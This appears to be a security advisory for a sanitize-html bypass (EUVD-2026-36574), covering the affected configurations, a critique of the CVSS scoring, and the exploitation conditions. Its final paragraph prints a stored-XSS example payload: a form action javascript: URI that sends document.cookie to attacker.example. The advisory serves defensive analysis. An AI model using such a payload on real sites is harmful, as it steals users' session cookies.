sanitize-html EUVD-2026-36574

Exploitation requires that the target application's sanitize-html configuration explicitly adds at least one of the following attributes to its allowedAttributes or equivalent setting: action, formaction, data, poster, background, ping, xlink:href, dynsrc, or lowsrc. Applications using only the default sanitize-html configuration are NOT affected, because none of these attributes are permitted by default and therefore can never carry attacker-controlled URIs. Additionally, CVSS PR:L indicates the attacker must possess some level of authenticated or low-privilege access sufficient to submit HTML content (e.g., a CMS editor or contributor role). Exploitation is further limited by UI:R - a victim user must interact with (e.g., click or load) the element bearing the malicious URI. Purely read-only rendering without interaction does not trigger the payload.

The vendor-assigned CVSS 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) reflects a Stored or Reflected XSS pattern: network delivery, low-privilege content submission, required victim interaction, and a scope change capturing the cross-context nature of browser-side script execution. However, the AC:L designation warrants scrutiny - successful exploitation is gated on a non-default application configuration (explicitly permitting one of the affected URI attributes), a condition entirely outside the attacker's control. An independent assessment favors AC:H to reflect this deployment dependency, yielding a materially lower base score. No EPSS score was provided in available data, preventing probabilistic exploitation comparison. KEV status is absent and no public exploit code has been identified, indicating this is not currently under mass or opportunistic exploitation. Real-world priority is therefore conditional: organizations using sanitize-html with custom configurations that allow action, formaction, data, poster, background, ping, xlink:href, dynsrc, or lowsrc should treat this as high priority; those on default configurations face no direct exposure from this specific bypass.

A low-privilege CMS contributor submits an article containing <form action="javascript:fetch('https://attacker.example/steal?c='+document.cookie)">Click me</form>. Because action is not in allowedSchemesAppliedToAttributes, sanitize-html passes the URI unchecked. When an administrator or victim user subsequently views the article and clicks the form, the javascript: URI executes in the victim's browser, exfiltrating session cookies to the attacker. No public POC has been confirmed, but the attack technique is well-understood and trivially reproducible given knowledge of the bypass.